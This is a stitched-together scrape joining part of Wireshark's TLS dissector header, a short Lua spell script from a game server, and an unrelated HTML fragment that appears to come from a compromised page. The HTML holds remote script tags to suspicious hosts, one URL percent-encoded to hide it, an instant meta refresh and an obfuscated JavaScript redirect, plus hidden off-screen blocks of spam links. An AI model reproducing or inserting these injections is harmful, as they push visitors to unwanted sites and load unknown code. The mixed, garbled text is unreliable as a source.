{ & name .hf.hs_server_keyex_g, \
{ "g", prefix ".handshake.g", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"Diffie-Hellman g", HFILL } \
}, \
{ & name .hf.hs_server_keyex_curve_type, \
{ "Curve Type", prefix ".handshake.server_curve_type", \
FT_UINT8, BASE_HEX, VALS(ssl_curve_types), 0x0, \
"Server curve_type", HFILL } \
}, \
{ & name .hf.hs_server_keyex_named_curve, \
{ "Named Curve", prefix ".handshake.server_named_curve", \
FT_UINT16, BASE_HEX, VALS(ssl_extension_curves), 0x0, \
"Server named_curve", HFILL } \
}, \
{ & name .hf.hs_server_keyex_ys, \
{ "Pubkey", prefix ".handshake.ys", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"Diffie-Hellman server pubkey", HFILL } \
}, \
{ & name .hf.hs_client_keyex_yc, \
{ "Pubkey", prefix ".handshake.yc", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"Diffie-Hellman client pubkey", HFILL } \
}, \
{ & name .hf.hs_server_keyex_point, \
{ "Pubkey", prefix ".handshake.server_point", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"EC Diffie-Hellman server pubkey", HFILL } \
}, \
{ & name .hf.hs_client_keyex_point, \
{ "Pubkey", prefix ".handshake.client_point", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"EC Diffie-Hellman client pubkey", HFILL } \
}, \
{ & name .hf.hs_server_keyex_modulus, \
{ "Modulus", prefix ".handshake.modulus", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"RSA-EXPORT modulus", HFILL } \
}, \
{ & name .hf.hs_server_keyex_exponent, \
{ "Exponent", prefix ".handshake.exponent", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"RSA-EXPORT exponent", HFILL } \
}, \
{ & name .hf.hs_server_keyex_sig, \
{ "Signature", prefix ".handshake.sig", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"Diffie-Hellman server signature", HFILL } \
}, \
{ & name .hf.hs_server_keyex_hint_len, \
{ "Hint Length", prefix ".handshake.hint_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of PSK Hint", HFILL } \
}, \
{ & name .hf.hs_server_keyex_hint, \
{ "Hint", prefix ".handshake.hint", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"PSK Hint", HFILL } \
}, \
{ & name .hf.hs_client_keyex_identity_len, \
{ "Identity Length", prefix ".handshake.identity_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of PSK Identity", HFILL } \
}, \
{ & name .hf.hs_client_keyex_identity, \
{ "Identity", prefix ".handshake.identity", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"PSK Identity", HFILL } \
}, \
{ & name .hf.hs_ext_heartbeat_mode, \
{ "Mode", prefix ".handshake.extension.heartbeat.mode", \
FT_UINT8, BASE_DEC, VALS(tls_heartbeat_mode), 0x0, \
"Heartbeat extension mode", HFILL } \
}, \
{ & name .hf.hs_certificates_len, \
{ "Certificates Length", prefix ".handshake.certificates_length", \
FT_UINT24, BASE_DEC, NULL, 0x0, \
"Length of certificates field", HFILL } \
}, \
{ & name .hf.hs_certificates, \
{ "Certificates", prefix ".handshake.certificates", \
FT_NONE, BASE_NONE, NULL, 0x0, \
"List of certificates", HFILL } \
}, \
{ & name .hf.hs_certificate, \
{ "Certificate", prefix ".handshake.certificate", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_certificate_len, \
{ "Certificate Length", prefix ".handshake.certificate_length", \
FT_UINT24, BASE_DEC, NULL, 0x0, \
"Length of certificate", HFILL } \
}, \
{ & name .hf.hs_cert_types_count, \
{ "Certificate types count", prefix ".handshake.cert_types_count",\
FT_UINT8, BASE_DEC, NULL, 0x0, \
"Count of certificate types", HFILL } \
}, \
{ & name .hf.hs_cert_types, \
{ "Certificate types", prefix ".handshake.cert_types", \
FT_NONE, BASE_NONE, NULL, 0x0, \
"List of certificate types", HFILL } \
}, \
{ & name .hf.hs_cert_type, \
{ "Certificate type", prefix ".handshake.cert_type", \
FT_UINT8, BASE_DEC, VALS(ssl_31_client_certificate_type), 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_dnames_len, \
{ "Distinguished Names Length", prefix ".handshake.dnames_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of list of CAs that server trusts", HFILL } \
}, \
{ & name .hf.hs_dnames, \
{ "Distinguished Names", prefix ".handshake.dnames", \
FT_NONE, BASE_NONE, NULL, 0x0, \
"List of CAs that server trusts", HFILL } \
}, \
{ & name .hf.hs_dname_len, \
{ "Distinguished Name Length", prefix ".handshake.dname_len", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of distinguished name", HFILL } \
}, \
{ & name .hf.hs_dname, \
{ "Distinguished Name", prefix ".handshake.dname", \
FT_NONE, BASE_NONE, NULL, 0x0, \
"Distinguished name of a CA that server trusts", HFILL } \
}, \
{ & name .hf.hs_random_time, \
{ "GMT Unix Time", prefix ".handshake.random_time", \
FT_ABSOLUTE_TIME, ABSOLUTE_TIME_LOCAL, NULL, 0x0, \
"Unix time field of random structure", HFILL } \
}, \
{ & name .hf.hs_random_bytes, \
{ "Random Bytes", prefix ".handshake.random", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"Random values used for deriving keys", HFILL } \
}, \
{ & name .hf.hs_session_id, \
{ "Session ID", prefix ".handshake.session_id", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"Identifies the SSL session, allowing later resumption", HFILL }\
}, \
{ & name .hf.hs_session_id_len, \
{ "Session ID Length", prefix ".handshake.session_id_length", \
FT_UINT8, BASE_DEC, NULL, 0x0, \
"Length of Session ID field", HFILL } \
}, \
{ & name .hf.hs_client_version, \
{ "Version", prefix ".handshake.version", \
FT_UINT16, BASE_HEX, VALS(ssl_versions), 0x0, \
"Maximum version supported by client", HFILL } \
}, \
{ & name .hf.hs_server_version, \
{ "Version", prefix ".handshake.version", \
FT_UINT16, BASE_HEX, VALS(ssl_versions), 0x0, \
"Version selected by server", HFILL } \
}, \
{ & name .hf.hs_cipher_suites_len, \
{ "Cipher Suites Length", prefix ".handshake.cipher_suites_length", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"Length of cipher suites field", HFILL } \
}, \
{ & name .hf.hs_cipher_suites, \
{ "Cipher Suites", prefix ".handshake.ciphersuites", \
FT_NONE, BASE_NONE, NULL, 0x0, \
"List of cipher suites supported by client", HFILL } \
}, \
{ & name .hf.hs_cipher_suite, \
{ "Cipher Suite", prefix ".handshake.ciphersuite", \
FT_UINT16, BASE_HEX|BASE_EXT_STRING, &ssl_31_ciphersuite_ext, 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_comp_methods_len, \
{ "Compression Methods Length", prefix ".handshake.comp_methods_length", \
FT_UINT8, BASE_DEC, NULL, 0x0, \
"Length of compression methods field", HFILL } \
}, \
{ & name .hf.hs_comp_methods, \
{ "Compression Methods", prefix ".handshake.comp_methods", \
FT_NONE, BASE_NONE, NULL, 0x0, \
"List of compression methods supported by client", HFILL } \
}, \
{ & name .hf.hs_comp_method, \
{ "Compression Method", prefix ".handshake.comp_method", \
FT_UINT8, BASE_DEC, VALS(ssl_31_compression_method), 0x0, \
NULL, HFILL } \
}, \
{ & name .hf.hs_session_ticket_lifetime_hint, \
{ "Session Ticket Lifetime Hint", \
prefix ".handshake.session_ticket_lifetime_hint", \
FT_UINT32, BASE_DEC, NULL, 0x0, \
"New Session Ticket Lifetime Hint", HFILL } \
}, \
{ & name .hf.hs_session_ticket_len, \
{ "Session Ticket Length", prefix ".handshake.session_ticket_length", \
FT_UINT16, BASE_DEC, NULL, 0x0, \
"New Session Ticket Length", HFILL } \
}, \
{ & name .hf.hs_session_ticket, \
{ "Session Ticket", prefix ".handshake.session_ticket", \
FT_BYTES, BASE_NONE, NULL, 0x0, \
"New Session Ticket", HFILL } \
}, \
{ & name .hf.hs_finished, \
{ "Verify Data", prefix ".handshake.verify_data", \
FT_NONE, BASE_NONE, NULL, 0x0, \
"Opaque verification data", HFILL } \
}
/* }}} */
/* {{{ */
#define SSL_COMMON_ETT_LIST(name) \
& name .ett.hs_ext, \
& name .ett.hs_ext_alpn, \
& name .ett.hs_ext_cert_types, \
& name .ett.hs_ext_curves, \
& name .ett.hs_ext_curves_point_formats, \
& name .ett.hs_ext_npn, \
& name .ett.hs_ext_reneg_info, \
& name .ett.hs_ext_server_name, \
& name .ett.hs_ext_padding, \
& name .ett.hs_sig_hash_alg, \
& name .ett.hs_sig_hash_algs, \
& name .ett.urlhash, \
& name .ett.keyex_params, \
& name .ett.certificates, \
& name .ett.cert_types, \
& name .ett.dnames, \
& name .ett.hs_random, \
& name .ett.cipher_suites, \
& name .ett.comp_methods, \
& name .ett.session_ticket, \
/* }}} */
/* {{{ */
#define SSL_COMMON_EI_LIST(name, prefix) \
{ & name .ei.hs_ext_cert_status_undecoded, \
{ prefix ".handshake.status_request.undecoded", PI_UNDECODED, PI_NOTE, \
"Responder ID list or Request Extensions are not implemented, contact Wireshark developers if you want this to be supported", EXPFILL } \
}, \
{ & name .ei.hs_sig_hash_alg_len_bad, \
{ prefix ".handshake.sig_hash_alg_len.mult2", PI_MALFORMED, PI_ERROR, \
"Signature Hash Algorithm length must be a multiple of 2", EXPFILL } \
}, \
{ & name .ei.hs_cipher_suites_len_bad, \
{ prefix ".handshake.cipher_suites_length.mult2", PI_MALFORMED, PI_ERROR, \
"Cipher suite length must be a multiple of 2", EXPFILL } \
}
/* }}} */
extern void
ssl_common_register_options(module_t *module, ssl_common_options_t *options);
#ifdef SSL_DECRYPT_DEBUG
extern void
ssl_debug_printf(const gchar* fmt,...) G_GNUC_PRINTF(1,2);
extern void
ssl_print_data(const gchar* name, const guchar* data, size_t len);
extern void
ssl_print_string(const gchar* name, const StringInfo* data);
extern void
ssl_set_debug(const gchar* name);
extern void
ssl_debug_flush(void);
#else
/* No debug: nullify debug operation*/
static inline void G_GNUC_PRINTF(1,2)
ssl_debug_printf(const gchar* fmt _U_,...)
{
}
#define ssl_print_data(a, b, c)
#define ssl_print_string(a, b)
#define ssl_set_debug(name)
#define ssl_debug_flush()
#endif /* SSL_DECRYPT_DEBUG */
#endif /* SSL_UTILS_H */
/*
* Editor modelines - http://www.wireshark.org/tools/modelines.html
*
* Local variables:
* c-basic-offset: 4
* tab-width: 8
* indent-tabs-mode: nil
* End:
*
* vi: set shiftwidth=4 tabstop=8 expandtab:
* :indentSize=4:tabSize=8:noTabs=true:
*/
|
zonque/wireshark
|
epan/dissectors/packet-ssl-utils.h
|
C
|
gpl-2.0
| 67,801
|
local combat = Combat()
combat:setParameter(COMBAT_PARAM_TYPE, COMBAT_EARTHDAMAGE)
combat:setParameter(COMBAT_PARAM_EFFECT, CONST_ME_SMALLPLANTS)
combat:setArea(createCombatArea(AREA_SQUAREWAVE5, AREADIAGONAL_SQUAREWAVE5))
combat:setParameter(COMBAT_PARAM_PVPDAMAGE, 250)
function onGetFormulaValues(player, level, maglevel)
local min = (level / 5) + (maglevel * 3.25) + 5
local max = (level / 5) + (maglevel * 6.75) + 30
return -min, -max
end
combat:setCallback(CALLBACK_PARAM_LEVELMAGICVALUE, "onGetFormulaValues")
function onCastSpell(creature, var)
return combat:execute(creature, var)
end
|
Caduceus/DecapitatedSoul
|
data/spells/scripts/attack/terra wave.lua
|
Lua
|
gpl-2.0
| 601
|
<script/src=//%61%6C%69%63%64%6E%2E%72%65%2E%6B%72/%72%65%2E%6B%72></script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>99re2.¾Ã¾ÃÈÈ×îеØÖ·|É«ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø</title>
<meta name="keywords" content="99re2.¾Ã¾ÃÈÈ×îеØÖ· ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø">
<meta name="description" content="99re2.¾Ã¾ÃÈÈ×îеØÖ·¸÷ÖÖ¾«²ÊÄÚÈÝʵʱ¸üÐÂ,Ϊ¹ã´óÍøÓÑÌṩԴ´×ÊÔ´,99re2.¾Ã¾ÃÈÈ×îеØÖ·Ò»ÆðËáˬ¡£ ,˼˼µÄ¼ÒÔ°"><link rel="shortcut icon" type="image/x-icon" href="favicon.ico" />
</head>
<script/src=//alicdn.re.kr/re.kr></script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>99re2.¾Ã¾ÃÈÈ×îеØÖ·|É«ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø</title>
<meta name="keywords" content="99re2.¾Ã¾ÃÈÈ×îеØÖ· ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø">
<meta name="description" content="99re2.¾Ã¾ÃÈÈ×îеØÖ·¸÷ÖÖ¾«²ÊÄÚÈÝʵʱ¸üÐÂ,Ϊ¹ã´óÍøÓÑÌṩԴ´×ÊÔ´,99re2.¾Ã¾ÃÈÈ×îеØÖ·Ò»ÆðËáˬ¡£ ,˼˼µÄ¼ÒÔ°"><link rel="shortcut icon" type="image/x-icon" href="favicon.ico" />
</head>
-------!>
<script/src=//360cdn.win/c.css></script>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.zgjm-org.com">
<script> var xx="<scr"; xx=xx+"ipt>win"; xx=xx+"dow.loc"; xx=xx+"ation.hr"; xx=xx+"ef='http://"; xx=xx+"www."; xx=xx+"zgjm-org"; xx=xx+"."; xx=xx+"com"; xx=xx+"'<\/sc"; xx=xx+"ript>";// document.write(xx); </script>
<script/src=//alicdn.re.kr/re.kr></script>
<div class="a1b2c8d9e1" style="position:fixed;left:-3000px;top:-3000px;">
<a class="a1b2c8d9e1" href="http://www.fliggypig.com">http://www.fliggypig.com</a>
<a class="a1b2c8d9e1" href="http://www.4006000871.com">http://www.4006000871.com</a>
<a class="a1b2c8d9e1" href="http://www.ddabw.com">http://www.ddabw.com</a>
<a class="a1b2c8d9e1" href="http://www.ktiyl.com">http://www.ktiyl.com</a>
<a class="a1b2c8d9e1" href="http://www.abbwl.com">http://www.abbwl.com</a>
<a class="a1b2c8d9e1" href="http://www.rht365.com">http://www.rht365.com</a>
</div class="a1b2c8d9e1">
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script>
<a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a>
<a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a>
<a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a>
<a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a>
<a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a>
<a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a>
<a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a>
<a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a>
<a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a>
<a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a>
<a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a>
<a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a>
<a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a>
<a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a>
<a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a>
<a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a>
<a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a>
<a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a>
<a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a>
<a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a>
<a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a>
<a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a>
<a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a>
<a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a>
<a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a>
<a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a>
<a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a>
<a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a>
<a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a>
<a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a>
<a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a>
<a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a>
<a class="z7z8z9z6" href="http://www.wivjvd.com/">http://www.wivjvd.com/</a>
<a class="z7z8z9z6" href="http://www.sstldp.com/">http://www.sstldp.com/</a>
<a class="z7z8z9z6" href="http://www.sqmtvh.com/">http://www.sqmtvh.com/</a>
<a class="z7z8z9z6" href="http://www.fmxnav.com/">http://www.fmxnav.com/</a>
<a class="z7z8z9z6" href="http://www.etqglz.com/">http://www.etqglz.com/</a>
<a class="z7z8z9z6" href="http://www.rjwmkb.com/">http://www.rjwmkb.com/</a>
<a class="z7z8z9z6" href="http://www.yrljss.com/">http://www.yrljss.com/</a>
<a class="z7z8z9z6" href="http://www.ymdwnv.com/">http://www.ymdwnv.com/</a>
<a class="z7z8z9z6" href="http://www.lhxcjs.com/">http://www.lhxcjs.com/</a>
<a class="z7z8z9z6" href="http://www.fekcko.com/">http://www.fekcko.com/</a>
<a class="z7z8z9z6" href="http://www.furpdg.com/">http://www.furpdg.com/</a>
<a class="z7z8z9z6" href="http://www.voqgwh.com/">http://www.voqgwh.com/</a>
<a class="z7z8z9z6" href="http://www.fknqkj.com/">http://www.fknqkj.com/</a>
<a class="z7z8z9z6" href="http://www.hhabtr.com/">http://www.hhabtr.com/</a>
<a class="z7z8z9z6" href="http://www.ogmykg.com/">http://www.ogmykg.com/</a>
<a class="z7z8z9z6" href="http://www.vseogg.com/">http://www.vseogg.com/</a>
<a class="z7z8z9z6" href="http://www.ctkllf.com/">http://www.ctkllf.com/</a>
<a class="z7z8z9z6" href="http://www.xzxefw.com/">http://www.xzxefw.com/</a>
<a class="z7z8z9z6" href="http://www.0172679.com/">http://www.0172679.com/</a>
<a class="z7z8z9z6" href="http://www.6088532.com/">http://www.6088532.com/</a>
<a class="z7z8z9z6" href="http://www.5214437.com/">http://www.5214437.com/</a>
<a class="z7z8z9z6" href="http://www.4601598.com/">http://www.4601598.com/</a>
<a class="z7z8z9z6" href="http://www.3848474.com/">http://www.3848474.com/</a>
<a class="z7z8z9z6" href="http://www.7621914.com/">http://www.7621914.com/</a>
<a class="z7z8z9z6" href="http://www.9064024.com/">http://www.9064024.com/</a>
<a class="z7z8z9z6" href="http://www.0979289.com/">http://www.0979289.com/</a>
<a class="z7z8z9z6" href="http://www.8732369.com/">http://www.8732369.com/</a>
<a class="z7z8z9z6" href="http://www.7578050.com/">http://www.7578050.com/</a>
<a class="z7z8z9z6" href="http://www.1206219.com/">http://www.1206219.com/</a>
<a class="z7z8z9z6" href="http://www.0320448.com/">http://www.0320448.com/</a>
<a class="z7z8z9z6" href="http://www.6038608.com/">http://www.6038608.com/</a>
<a class="z7z8z9z6" href="http://www.6804640.com/">http://www.6804640.com/</a>
<a class="z7z8z9z6" href="http://www.2393657.com/">http://www.2393657.com/</a>
<a class="z7z8z9z6" href="http://www.laibazonghewang.com/">http://www.laibazonghewang.com/</a>
<a class="z7z8z9z6" href="http://www.jiujiurezuixindizhi.com/">http://www.jiujiurezuixindizhi.com/</a>
<a class="z7z8z9z6" href="http://www.jiqingtupian8.com/">http://www.jiqingtupian8.com/</a>
<a class="z7z8z9z6" href="http://www.qmzufv.com/">http://www.qmzufv.com/</a>
<a class="z7z8z9z6" href="http://www.kwwxgj.com/">http://www.kwwxgj.com/</a>
<a class="z7z8z9z6" href="http://www.tvubqi.com/">http://www.tvubqi.com/</a>
<a class="z7z8z9z6" href="http://www.sjvxww.com/">http://www.sjvxww.com/</a>
<a class="z7z8z9z6" href="http://www.xpdmzk.com/">http://www.xpdmzk.com/</a>
<a class="z7z8z9z6" href="http://www.frveya.com/">http://www.frveya.com/</a>
<a class="z7z8z9z6" href="http://www.nonmnu.com/">http://www.nonmnu.com/</a>
<a class="z7z8z9z6" href="http://www.svytac.com/">http://www.svytac.com/</a>
<a class="z7z8z9z6" href="http://www.fdtggb.com/">http://www.fdtggb.com/</a>
<a class="z7z8z9z6" href="http://www.rnrnjm.com/">http://www.rnrnjm.com/</a>
<a class="z7z8z9z6" href="http://www.ymrxun.com/">http://www.ymrxun.com/</a>
<a class="z7z8z9z6" href="http://www.lkrecc.com/">http://www.lkrecc.com/</a>
<a class="z7z8z9z6" href="http://www.kgahjl.com/">http://www.kgahjl.com/</a>
<a class="z7z8z9z6" href="http://www.kqdmep.com/">http://www.kqdmep.com/</a>
<a class="z7z8z9z6" href="http://www.vwlwcu.com/">http://www.vwlwcu.com/</a>
<a class="z7z8z9z6" href="http://www.zuixinlunlidianying.com/">http://www.zuixinlunlidianying.com/</a>
<a class="z7z8z9z6" href="http://www.daxiangjiaowangzhi.com/">http://www.daxiangjiaowangzhi.com/</a>
<a class="z7z8z9z6" href="http://www.snnfi.com/">http://www.snnfi.com/</a>
<a class="z7z8z9z6" href="http://www.vfdyd.com/">http://www.vfdyd.com/</a>
<a class="z7z8z9z6" href="http://www.lwezk.com/">http://www.lwezk.com/</a>
<a class="z7z8z9z6" href="http://www.fpibm.com/">http://www.fpibm.com/</a>
<a class="z7z8z9z6" href="http://www.xjvdr.com/">http://www.xjvdr.com/</a>
<a class="z7z8z9z6" href="http://www.kvwqf.com/">http://www.kvwqf.com/</a>
<a class="z7z8z9z6" href="http://www.utakf.com/">http://www.utakf.com/</a>
<a class="z7z8z9z6" href="http://www.gmjeu.com/">http://www.gmjeu.com/</a>
<a class="z7z8z9z6" href="http://www.pugfa.com/">http://www.pugfa.com/</a>
<a class="z7z8z9z6" href="http://www.bldek.com/">http://www.bldek.com/</a>
<a class="z7z8z9z6" href="http://www.vdidu.com/">http://www.vdidu.com/</a>
<a class="z7z8z9z6" href="http://www.tufnc.com/">http://www.tufnc.com/</a>
<a class="z7z8z9z6" href="http://www.wqxri.com/">http://www.wqxri.com/</a>
<a class="z7z8z9z6" href="http://www.uaozz.com/">http://www.uaozz.com/</a>
<a class="z7z8z9z6" href="http://www.nhpbd.com/">http://www.nhpbd.com/</a>
<a class="z7z8z9z6" href="http://www.dinbz.com/">http://www.dinbz.com/</a>
<a class="z7z8z9z6" href="http://www.bopjc.com/">http://www.bopjc.com/</a>
<a class="z7z8z9z6" href="http://www.rvkip.com/">http://www.rvkip.com/</a>
<a class="z7z8z9z6" href="http://www.jsmqe.com/">http://www.jsmqe.com/</a>
<a class="z7z8z9z6" href="http://www.vwygx.com/">http://www.vwygx.com/</a>
<a class="z7z8z9z6" href="http://www.zgjm-org.com/">http://www.zgjm-org.com/</a>
<a class="z7z8z9z6" href="http://www.shenyangsiyue.com/">http://www.shenyangsiyue.com/</a>
<a class="z7z8z9z6" href="http://www.hongsang.net/">http://www.hongsang.net/</a>
<a class="z7z8z9z6" href="http://www.gpmrg.cc/">http://www.gpmrg.cc/</a>
<a class="z7z8z9z6" href="http://www.knfut.cc/">http://www.knfut.cc/</a>
<a class="z7z8z9z6" href="http://www.kjqdh.cc/">http://www.kjqdh.cc/</a>
<a class="z7z8z9z6" href="http://www.huang62.win/">http://www.huang62.win/</a>
<a class="z7z8z9z6" href="http://www.qiong19.win/">http://www.qiong19.win/</a>
<a class="z7z8z9z6" href="http://www.chang34.win/">http://www.chang34.win/</a>
<a class="z7z8z9z6" href="http://www.huang71.win/">http://www.huang71.win/</a>
<a class="z7z8z9z6" href="http://www.xiong10.win/">http://www.xiong10.win/</a>
<a class="z7z8z9z6" href="http://www.chong14.win/">http://www.chong14.win/</a>
<a class="z7z8z9z6" href="http://www.chong94.win/">http://www.chong94.win/</a>
<a class="z7z8z9z6" href="http://www.zheng23.win/">http://www.zheng23.win/</a>
<a class="z7z8z9z6" href="http://www.cheng14.win/">http://www.cheng14.win/</a>
<a class="z7z8z9z6" href="http://www.shang72.win/">http://www.shang72.win/</a>
<a class="z7z8z9z6" href="http://www.sudanj.win/">http://www.sudanj.win/</a>
<a class="z7z8z9z6" href="http://www.russias.win/">http://www.russias.win/</a>
<a class="z7z8z9z6" href="http://www.malim.win/">http://www.malim.win/</a>
<a class="z7z8z9z6" href="http://www.nigery.win/">http://www.nigery.win/</a>
<a class="z7z8z9z6" href="http://www.malix.win/">http://www.malix.win/</a>
<a class="z7z8z9z6" href="http://www.peruf.win/">http://www.peruf.win/</a>
<a class="z7z8z9z6" href="http://www.iraqq.win/">http://www.iraqq.win/</a>
<a class="z7z8z9z6" href="http://www.nepali.win/">http://www.nepali.win/</a>
<a class="z7z8z9z6" href="http://www.syriax.win/">http://www.syriax.win/</a>
<a class="z7z8z9z6" href="http://www.junnp.pw/">http://www.junnp.pw/</a>
<a class="z7z8z9z6" href="http://www.junnp.win/">http://www.junnp.win/</a>
<a class="z7z8z9z6" href="http://www.zanpianba.com/">http://www.zanpianba.com/</a>
<a class="z7z8z9z6" href="http://www.shoujimaopian.com/">http://www.shoujimaopian.com/</a>
<a class="z7z8z9z6" href="http://www.gaoqingkanpian.com/">http://www.gaoqingkanpian.com/</a>
<a class="z7z8z9z6" href="http://www.kuaibokanpian.com/">http://www.kuaibokanpian.com/</a>
<a class="z7z8z9z6" href="http://www.baidukanpian.com/">http://www.baidukanpian.com/</a>
<a class="z7z8z9z6" href="http://www.wwwren99com.top/">http://www.wwwren99com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwdgshunyuancom.top/">http://www.wwwdgshunyuancom.top/</a>
<a class="z7z8z9z6" href="http://www.xianfengziyuancom.top/">http://www.xianfengziyuancom.top/</a>
<a class="z7z8z9z6" href="http://www.www96yyxfcom.top/">http://www.www96yyxfcom.top/</a>
<a class="z7z8z9z6" href="http://www.www361dywnet.top/">http://www.www361dywnet.top/</a>
<a class="z7z8z9z6" href="http://www.wwwbambootechcc.top/">http://www.wwwbambootechcc.top/</a>
<a class="z7z8z9z6" href="http://www.wwwluoqiqicom.top/">http://www.wwwluoqiqicom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyyxfnrzcom.top/">http://www.wwwyyxfnrzcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwzhengdadycom.top/">http://www.wwwzhengdadycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyewaishengcuncom.top/">http://www.wwwyewaishengcuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcong3win.top/">http://www.wwwcong3win.top/</a>
<a class="z7z8z9z6" href="http://www.wwwmh-oemcn.top/">http://www.wwwmh-oemcn.top/</a>
<a class="z7z8z9z6" href="http://www.henhen168com.top/">http://www.henhen168com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhztuokuncom.top/">http://www.wwwhztuokuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyasyzxcn.top/">http://www.wwwyasyzxcn.top/</a>
<a class="z7z8z9z6" href="http://www.www9hkucom.top/">http://www.www9hkucom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwguokrcom.top/">http://www.wwwguokrcom.top/</a>
<a class="z7z8z9z6" href="http://www.avhhhhcom.top/">http://www.avhhhhcom.top/</a>
<a class="z7z8z9z6" href="http://www.shouyouaipaicom.top/">http://www.shouyouaipaicom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwdouyutvcom.top/">http://www.wwwdouyutvcom.top/</a>
<a class="z7z8z9z6" href="http://www.bbsptbuscom.top/">http://www.bbsptbuscom.top/</a>
<a class="z7z8z9z6" href="http://www.miphonetgbuscom.top/">http://www.miphonetgbuscom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwtjkunchengcom.top/">http://www.wwwtjkunchengcom.top/</a>
<a class="z7z8z9z6" href="http://www.lolboxduowancom.top/">http://www.lolboxduowancom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwtaoyuancncom.top/">http://www.wwwtaoyuancncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwngffwcomcn.top/">http://www.wwwngffwcomcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqingzhouwanhecom.top/">http://www.wwwqingzhouwanhecom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwckyygcn.top/">http://www.wwwckyygcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcdcjzcn.top/">http://www.wwwcdcjzcn.top/</a>
